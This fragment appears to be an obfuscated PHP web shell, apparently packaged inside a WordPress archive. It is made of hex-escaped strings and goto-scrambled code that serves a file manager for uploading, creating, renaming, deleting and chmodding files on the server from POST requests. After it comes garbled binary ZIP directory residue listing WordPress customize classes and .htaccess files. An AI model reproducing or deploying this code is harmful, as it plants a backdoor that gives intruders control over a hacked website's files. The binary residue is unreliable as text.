"\74\x66\157\162\155\x20\x6d\x65\164\150\157\144\x3d\47\160\157\x73\164\x27\163\x74\x79\x6c\x65\75\x27\144\151\163\160\x6c\x61\171\72\151\x6e\x6c\x69\x6e\145\73\x6d\141\162\147\x69\x6e\x2d\x6c\x65\x66\x74\x3a\x36\x70\170\x27\76\x3c\151\156\160\165\164\x20\x74\x79\x70\145\75\47\x68\x69\x64\144\x65\x6e\47\156\x61\155\x65\x3d\47\x6d\166\x27\x76\141\x6c\x75\x65\x3d\47\61\x27\76\74\x69\156\x70\x75\x74\x20\164\171\160\x65\x3d\x27\x68\151\144\144\145\x6e\47\156\141\x6d\x65\x3d\x27\x66\162\157\x6d\47\166\x61\154\x75\x65\75\47" . UYarK($gxTgH) . "\47\76\x3c\x69\x6e\160\x75\x74\40\143\x6c\141\x73\x73\x3d\x27\x69\156\47\x73\x74\x79\x6c\x65\75\47\167\151\144\x74\x68\72\61\x36\x30\x70\170\47\x6e\141\155\x65\75\x27\x74\157\47\x70\154\141\143\x65\150\157\154\x64\x65\x72\75\x27\162\145\156\141\155\145\40\x74\157\x27\76\40\74\142\165\x74\x74\157\156\40\143\x6c\141\163\x73\x3d\x27\x62\164\156\47\x74\171\160\145\75\x27\163\165\x62\x6d\x69\x74\47\x3e\162\145\x6e\x61\x6d\x65\x3c\x2f\142\165\164\164\157\x6e\x3e\74\x2f\x66\x6f\x72\x6d\76"; goto Pp6vH; exay0: $CZBH_ = $uNdAL ? "\x2d" : n_daT(@filesize($VI76I)); goto bDCqW; wG5qh: goto zk_Dq; goto bVqoz; YchY7: goto vG537; goto oP0f6; goRiH: echo "\74\57\164\x64\x3e\x3c\57\x74\x72\76"; goto BuDYe; Pp6vH: zk_Dq: goto goRiH; etHKC: echo "\x3c\x66\157\x72\x6d\x20\155\x65\x74\150\157\x64\x3d\47\x70\x6f\163\164\47\x73\164\171\154\x65\x3d\x27\x64\151\x73\160\154\141\171\72\x69\156\x6c\x69\156\x65\47\x6f\156\x73\x75\x62\x6d\x69\164\x3d\42\162\x65\x74\x75\x72\x6e\x20\143\x6f\156\146\151\x72\155\x28\x27\144\145\x6c\145\164\x65\x20\x66\x69\x6c\x65\77\47\51\42\x3e\x3c\x69\x6e\160\165\164\40\164\171\160\x65\75\47\150\x69\144\144\x65\x6e\x27\156\141\155\145\x3d\x27\162\155\146\x27\166\x61\x6c\x75\x65\75\47\61\47\x3e\x3c\151\x6e\160\x75\164\x20\x74\171\160\x65\x3d\47\x68\x69\x64\144\x65\156\47\x6e\x61\155\145\75\47\156\47\166\x61\x6c\165\145\x3d\47" . UYArk($gxTgH) . "\x27\x3e\74\x62\x75\164\x74\x6f\156\x20\x63\154\x61\163\163\75\x27\142\x74\156\47\x74\x79\160\145\75\x27\x73\x75\x62\155\x69\164\47\x3e\x64\x65\154\x65\164\145\x3c\x2f\x62\165\164\164\157\156\76\x3c\x2f\146\x6f\x72\x6d\x3e\40"; goto mM6Pd; wPCAT: echo LMs8G($VI76I, $gxTgH); goto RUr3O; BuDYe: GHZew: goto BtTPi; mp6wL: if ($uNdAL) { goto otXPk; } goto jzcog; atDZQ: echo "\x3c\x2f\x74\144\76\x3c\x74\x64\x3e{$CZBH_}\x3c\57\x74\144\x3e\x3c\x74\144\x3e{$X0ktj}\74\x2f\x74\144\x3e\74\x74\144\x3e{$rzphS}\x3c\x2f\164\144\76\x3c\x74\x64\76"; goto mp6wL; PvgJ_: goto GHZew; goto WjcJc; mM6Pd: echo "\x3c\x66\x6f\162\x6d\x20\155\x65\x74\150\157\x64\x3d\47\x70\x6f\163\x74\x27\x73\164\x79\154\x65\75\x27\x64\151\163\x70\x6c\141\171\72\x69\x6e\154\151\156\x65\73\x6d\x61\x72\x67\151\156\x2d\154\145\146\x74\72\66\x70\x78\x27\x3e\74\151\156\160\165\164\x20\x74\x79\x70\145\75\47\x68\x69\x64\x64\145\x6e\47\x6e\x61\x6d\145\x3d\47\x6d\x76\x27\166\x61\x6c\x75\145\x3d\x27\x31\47\76\74\x69\156\160\165\164\x20\x74\171\x70\145\75\x27\150\x69\144\144\x65\x6e\x27\156\141\x6d\145\75\x27\x66\x72\157\x6d\x27\166\x61\x6c\x75\145\x3d\x27" . uyaRK($gxTgH) . "\47\76\x3c\x69\x6e\x70\165\x74\x20\143\x6c\141\163\x73\75\x27\151\x6e\47\163\x74\x79\x6c\145\75\47\x77\151\144\x74\150\x3a\61\x36\60\x70\x78\47\x6e\141\x6d\145\75\47\164\157\47\x70\x6c\141\x63\145\150\157\x6c\x64\145\x72\75\47\x72\145\x6e\141\155\145\40\x74\x6f\47\76\40\x3c\x62\x75\x74\164\x6f\156\40\x63\154\x61\x73\x73\75\47\x62\164\x6e\x27\x74\171\x70\145\75\47\163\165\142\155\x69\x74\47\x3e\x72\x65\156\x61\x6d\145\74\57\x62\x75\x74\164\x6f\156\x3e\x3c\x2f\146\x6f\162\155\x3e"; goto wG5qh; bVqoz: otXPk: goto BAuID; RUr3O: vG537: goto atDZQ; gNzCw: echo "\74\164\x72\76\74\164\144\76"; goto bbZLG; flNGU: if (!($gxTgH === "\56" || $gxTgH === "\56\x2e")) { goto efpaq; } goto PvgJ_; BAuID: echo "\x3c\x66\157\x72\x6d\x20\155\x65\x74\x68\x6f\144\x3d\47\x70\x6f\x73\x74\x27\x73\x74\x79\x6c\x65\x3d\x27\144\151\163\x70\154\141\x79\x3a\x69\x6e\154\x69\156\145\x27\x6f\x6e\x73\x75\x62\155\151\164\75\42\x72\x65\164\x75\162\x6e\40\143\x6f\156\146\151\162\x6d\50\x27\x72\145\x6d\157\166\x65\x20\x63\x6f\x6e\x74\x65\156\x74\163\x3f\x27\x29\42\x3e\x3c\151\156\x70\165\x74\x20\164\x79\x70\145\75\x27\x68\x69\x64\144\145\x6e\47\156\x61\155\145\x3d\47\x72\155\144\x27\x76\x61\x6c\165\145\x3d\x27\x31\47\76\x3c\151\156\x70\x75\x74\40\164\x79\160\145\75\47\x68\151\144\x64\x65\156\x27\x6e\141\155\145\75\47\156\47\x76\x61\x6c\x75\x65\x3d\47" . Uyark($gxTgH) . "\x27\76\x3c\142\165\164\x74\157\x6e\40\x63\154\141\163\x73\x3d\47\x62\164\156\47\x74\x79\x70\145\x3d\47\x73\165\x62\155\151\164\47\x3e\x64\145\x6c\145\x74\145\x3c\x2f\x62\165\164\x74\x6f\156\x3e\x3c\x2f\x66\x6f\x72\x6d\76\x20"; goto DYygb; oH9Rd: $iHpW1 = @fileperms($VI76I); goto fr8Sr; bDCqW: $rzphS = @date("\131\55\155\55\x64\40\x48\x3a\x69", @filemtime($VI76I)); goto gNzCw; bbZLG: if ($uNdAL) { goto ZeqCA; } goto zqap5; oP0f6: ZeqCA: goto wPCAT; ENwuF: $uNdAL = is_dir($VI76I); goto oH9Rd; BtTPi: } goto HJeiQ; ByK47: function T1Hb9($FMHfo, $CGf7N) { goto Pa05j; E2flN: foreach ($TWYum as $Etvzy) { goto z6jdz; z6jdz: $ETI0L .= ($ETI0L === '' ? '' : "\57") . $Etvzy; goto tZdBE; tZdBE: $Hznd3[] = lmS8G($ETI0L, $Etvzy); goto dLmVX; dLmVX: YPJd2: goto M1ezk; M1ezk: } goto iht5M; E603c: $Hznd3[] = Lms8G($L0rGH, "\x2f"); goto u4Xrh; ANzU9: return implode("\40\x3c\163\x70\x61\156\x20\143\x6c\141\x73\x73\x3d\134\42\147\x73\145\x70\134\42\76\xc3\xa2\342\x82\xac\xc2\272\x3c\x2f\163\160\x61\x6e\x3e\40", $Hznd3); goto stg__; VpDzj: $TWYum = array_values(array_filter(explode("\x2f", trim($MBA4J, "\57")))); goto XIov0; Xt_rl: foreach ($fYzIJ as $Etvzy) { goto BDU3d; mxjL1: $Hznd3[] = Lms8g($lUxG5, $Etvzy); goto pnmAz; pnmAz: jE3it: goto TdDlC; BDU3d: $lUxG5 = rtrim($lUxG5, "\x2f\x5c") . DIRECTORY_SEPARATOR . $Etvzy; goto mxjL1; TdDlC: } goto B95Sf; LW57k: if (!(strpos($MBA4J, $L0rGH) === 0)) { goto W_Z0Q; } goto ntLpD; u4Xrh: $lUxG5 = $L0rGH; goto Xt_rl; ntLpD: $TQuX0 = ltrim(substr($MBA4J, strlen($L0rGH)), "\57"); goto dYnvY; jimSq: W_Z0Q: goto VpDzj; VwKua: $Hznd3 = []; goto E2flN; sHz_w: return implode("\40\x3c\163\160\141\156\x20\143\154\x61\x73\163\75\x5c\42\x67\x73\x65\160\134\42\x3e\303\242\342\202\254\302\xba\74\x2f\x73\160\141\156\76\40", $Hznd3); goto jimSq; wbpv8: $Hznd3 = []; goto E603c; XIov0: $ETI0L = ''; goto VwKua; dYnvY: $fYzIJ = $TQuX0 === '' ? [] : array_values(array_filter(explode("\x2f", $TQuX0))); goto wbpv8; iht5M: ZOLWj: goto ANzU9; B95Sf: RLCBe: goto sHz_w; Pa05j: $MBA4J = str_replace("\134", "\57", $FMHfo); goto rhPSK; rhPSK: $L0rGH = str_replace("\134", "\57", $CGf7N); goto LW57k; stg__: } goto P_2CA; hQ2iE: if (!($CKior === '')) { goto Xh87f; } goto AZL6L; nXmkV: W_XgE($hKa5N, ["\x6b" => "\x39", "\x74" => "\145\x72\x72"]); goto N20dR; V7U51: if ($gsdxU === false) { goto VwEL_; } goto g72Y8; CCCv1: if (!isset($_FILES["\x62\165"])) { goto Nt9Pk; } goto MB00B; vAGvG: g2AjA: goto g9C9r; Q77BA: VwEL_: goto OKTub; HTCLw: if (YtNda($VI76I["\x74\155\160\137\156\x61\x6d\145"], $Usag4)) { goto N6uo1; } goto nF3PC; lYxZK: LGniP: goto g6nxj; Vm9Z2: echo "\x3c\x64\151\x76\40\x63\154\141\163\163\x3d\42\155\163\147\40"; goto ZCz1Z; jTmXz: w_xGe($hKa5N, ["\x6b" => "\63"]); goto O2WUK; ppp7y: $Usag4 = rtrim($hKa5N, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . basename($VI76I["\156\x61\x6d\x65"]); goto eheqp; O2WUK: ErJy1: goto P_ewX; iVgxG: w_xGe($hKa5N, ["\153" => "\170", "\164" => "\145\162\162"]); goto Vxf2g; gQS7m: if (!($uo63X === '' || $ez0M4 === '')) { goto CtEpg; } goto SEZ4v; dbztg: $ez0M4 = basename(trim((string) ($_POST["\146\x72\157\x6d"] ?? ''))); goto gQS7m; fBsWN: if (is_file($whCcN)) { goto LGniP; } goto uSl0o; PnxF5: $CKior = basename(trim((string) ($_POST["\x6e\141\x6d\145"] ?? ''))); goto hQ2iE; Q91hu: function QwbRP($nig_Q, $miDsG) { return $_SESSION["\x6d\141\x64\145\x72"][$nig_Q] ?? $miDsG; } goto oVZMU; RvlvP: $uo63X = basename(trim((string) ($_POST["\x74\x6f"] ?? ''))); goto dbztg; CZ_lC: rGi_a: goto qnEd1; P_2CA: $AsdtI = ["\x31" => "\106\x73\x72\x65\x61\x74\145\x64\56", "\x32" => "\x61\166\145\144\56", "\x33" => "\146\x65\155\157\166\x65\144\56", "\x34" => "\146\x72\x65\x61\164\145\144\56", "\x35" => "\x66\x65\x6d\157\166\x65\x64\x2e", "\66" => "\x66\x6e\x61\x64\56", "\67" => "\165\157\155\x70\x6c\x65\164\x65\x2e", "\x39" => "\155\156\166\141\x6c\x69\144\x20\144\164\145\x6d\x2e", "\x78" => "\167\145\x20\x66\x61\151\x6c\145\144\x2e\x20\160\145\x72\155\x69"]; goto F5GSt; xnOR1: $J1jPy = (string) ($_POST["\x70\x61\x79\154\157\x61\144"] ?? ''); goto xHhoi; f9MYT: Km00e: goto NeBZx; Vrk1b: $eC5Q2 = E7Arj($qiRs1); goto oZtsk; MlDJ8: CtEpg: goto vQsmd; Xm87y: a_3RV: goto jLtCl; jOK68: if (!(!file_exists($Hznd3) || file_exists($Ej6Hl))) { goto kkIof; } goto UN647; Uqbg7: echo "\x22\x3e"; goto j5lY0; KKgFI: $hKa5N = $zraXm !== null ? I07ei(qwbRP($zraXm, $CGf7N), $CGf7N) : I07ei($MBA4J, $CGf7N); goto lhYSB; I521M: XBF1z: goto ik_kL; Ug248: qIZaL: goto kgAnr; z097c: $VI76I = basename(trim((string) ($_POST["\x6e"] ?? ''))); goto aoQXk; SJj6R: if (is_writable($whCcN)) { goto qIZaL; } goto Edmio; MB00B: $VI76I = $_FILES["\x62\x75"]; goto ppp7y; eiHPH: if (!@mkdir($whCcN, 0777, true)) { goto g2AjA; } goto QxHQX; ZpEDW: if (!iejLg($whCcN, $J1jPy)) { goto NLNnO; } goto Lpr4Y; v08bi: $zraXm = $_GET["\x70\164"] ?? null; goto j1ux5; M8a32: jX5q3: goto ODPNp; kK2_J: $qiRs1 = rtrim($hKa5N, "\x5c\x2f") . DIRECTORY_SEPARATOR . $mH8g4; goto Vrk1b; rv0ai: if (!file_exists($whCcN)) { goto PLCDn; } goto nXmkV; vQsmd: $Hznd3 = $hKa5N . DIRECTORY_SEPARATOR . $ez0M4; goto ofD8v; rmRh1: if (!@rename($Hznd3, $Ej6Hl)) { goto t0FkU; } goto BIN3Z; X6ys7: SGQhK: goto kU07P; E19ba: q33k1: goto KHVSC; BNjoa: @chmod($whCcN, 0666); goto ihnhP; qu8Cz: $whCcN = $hKa5N . DIRECTORY_SEPARATOR . $CKior; goto rv0ai; ik_kL: echo "\x20\74\57\x74\x61\142\x6c\145\76\x20\x3c\x2f\x64\151\166\x3e\74\x2f\x64\x69\x76\x3e\x3c\x2f\142\157\x64\x79\x3e\x3c\57\150\164\155\154\x3e"; ?>PK%\B.SSvendor/.htaccessnu[ deny from all allow from all PK6n\0żItIt index.phpnu[PK6n\B.SS t.htaccessnu[PK%\\/uclass-wp-customize-background-image-control.phpnu[PK%\/qzclass-wp-customize-background-image-setting.phpnu[PK%\I4 2O}class-wp-customize-background-position-control.phpnu[PK%\K $ *class-wp-customize-code-editor-control.phpnu[PK%\d $class-wp-customize-color-control.phpnu[PK%\=8p,͟class-wp-customize-cropped-image-control.phpnu[PK%\-)ܥclass-wp-customize-custom-css-setting.phpnu[PK%\s^$$(ٺclass-wp-customize-date-time-control.phpnu[PK%\HL`{LL%class-wp-customize-filter-setting.phpnu[PK%\p]]+class-wp-customize-header-image-control.phpnu[PK%\K+pclass-wp-customize-header-image-setting.phpnu[PK%\.}$ class-wp-customize-image-control.phpnu[PK%\mA$$$class-wp-customize-media-control.phpnu[PK%\Ѡbb03class-wp-customize-nav-menu-auto-add-control.phpnu[PK%\.PP'8class-wp-customize-nav-menu-control.phpnu[PK%\F,JAclass-wp-customize-nav-menu-item-control.phpnu[PK%\+gll,aclass-wp-customize-nav-menu-item-setting.phpnu[PK%\0class-wp-customize-nav-menu-location-control.phpnu[PK%\  1class-wp-customize-nav-menu-locations-control.phpnu[PK%\W.kk,yclass-wp-customize-nav-menu-name-control.phpnu[PK%\&'@class-wp-customize-nav-menu-section.phpnu[PK%\fII'cclass-wp-customize-nav-menu-setting.phpnu[PK%\[@` &5class-wp-customize-nav-menus-panel.phpnu[PK%\-'Bclass-wp-customize-new-menu-control.phpnu[PK%\ܼH'Iclass-wp-customize-new-menu-section.phpnu[PK%\EH)H)Pclass-wp-customize-partial.phpnu[PK%\!66(zclass-wp-customize-selective-refresh.phpnu[PK%\Mf##&class-wp-customize-sidebar-section.phpnu[PK%\Ռ++(hclass-wp-customize-site-icon-control.phpnu[PK%\ Foq.q.$class-wp-customize-theme-control.phpnu[PK%\!LX9 9 #class-wp-customize-themes-panel.phpnu[PK%\9 z++%<class-wp-customize-themes-section.phpnu[PK%\s3%!class-wp-customize-upload-control.phpnu[PK%\38<)&class-wp-sidebar-block-editor-control.phpnu[PK%\ʘ*)class-wp-widget-area-customize-control.phpnu[PK%\YV V *0class-wp-widget-form-customize-control.phpnu[PK%\߼J;vendor/index.phpnu[PK%\B.SSvendor/.htaccessnu[PK((x